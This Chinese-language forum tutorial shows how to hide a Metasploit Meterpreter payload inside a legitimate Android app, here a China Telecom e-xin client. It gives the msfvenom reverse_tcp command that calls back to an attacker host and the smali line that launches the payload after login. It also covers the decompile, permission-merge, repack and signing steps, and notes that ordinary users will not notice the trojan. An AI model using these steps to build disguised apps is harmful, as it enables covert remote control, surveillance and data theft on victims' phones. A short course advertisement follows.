正常Android应用植入Metasploit Payload 0x00 前言 Meterpreter是Metasploit中非常有名的payload,一旦在目标系统中利用成功,攻击者就可以向目标机器发送各类指令,获得敏感数据等。本文介绍如何将Meterpreter payload植入到一个正常的Android应用中。文章是在Embed a Metasploit Payload in an original .apk File的基础上进行实验的。 0x01 Meterpreter的Android版 Meterpreter针对Android系统可以生成能够安装的应用也就是APK文件,在手机上运行即可。但是这个应用有个问题,就是没有主界面,一看就不是正常应用。用户不会安装更不会使用payload应用,所以让用户直接把payload应用运行起来有些困难。 一个可行的解决方案就是把payload重打包到一个正常应用中,作为正常应用的一部分。正常应用还是跟原来一样,除了专业用户会去检查hash值之类的,一般用户不会注意到什么变化。 具体的步骤如下: 0x02 生成payload APK 首先使用MSFVenom生成一个payload应用,生成的命令如下: msfvenom -p android/meterpreter/[Payload_Type] LHOST=[IP_Address] LPORT=[Incoming_Port] -o meterpreter.apk [Payload_Type]指的是payload的连接类型,表明payload运行成功以后,以什么方式与控制的机器进行连接,有3种方式可以选择: reverse_tcp reverse_http reverse_https 本次实验使用的是reverse_tcp。Reverse connection有关于反向连接的介绍。 [IP_Address]是payload反向连接的IP地址,也就是控制机器的IP地址。作者用的是电信的e信,本身就是个公网的IP,ipconfig如下: [Incoming_Port]反向连接的端口,这里设置为8085。 所以完整的命令如下,最终生成了一个APK文件0x03 反编译及修改应用 接下来就是反编译正常应用和payload应用,把payload部分的代码复制到正常应用的代码中,最后再打包形成安装包。因为用的是电信e信,所以就直接把e信的Android客户端作为正常应用。反编译用的是Apktool,具体方法见郑博士的安卓动态调试七种武器之长生剑 - Smali Instrumentation。 我们要做的就是把反编译出来的payload文件,复制到e信反编译文件中,在payload的目录smali/com/metasploit/stage中,把所有带有payload关键字的smali文件复制到e信的文件夹下。需要新建metasploit和stage两个文件夹。 接着需要在正常应用的代码里找一个启动payload的函数,插入启动payload的代码。这里找到一个e信客户端登陆成功后弹出通知的函数,这保证了与网络的连接通畅。 插入一句启动payload的调用:invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 0x04 修改权限及打包 payload申请的权限可能比要植入的应用申请的权限多,所以需要把payload申请的权限复制到正常的应用的AndroidManifest.xml的文件中。上面的是原来的权限,下面是新增加的。 接下来就是打包应用,还是使用apktool。最后还需要签名,可以直接使用Java的jarsigner。 0x05 运行 把修改后的e信运行,然后在msf设置好参数,也就是IP和端口,连接的方式,exploit,就可以从目标机器中获取信息了。 可以进行拍照等:
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)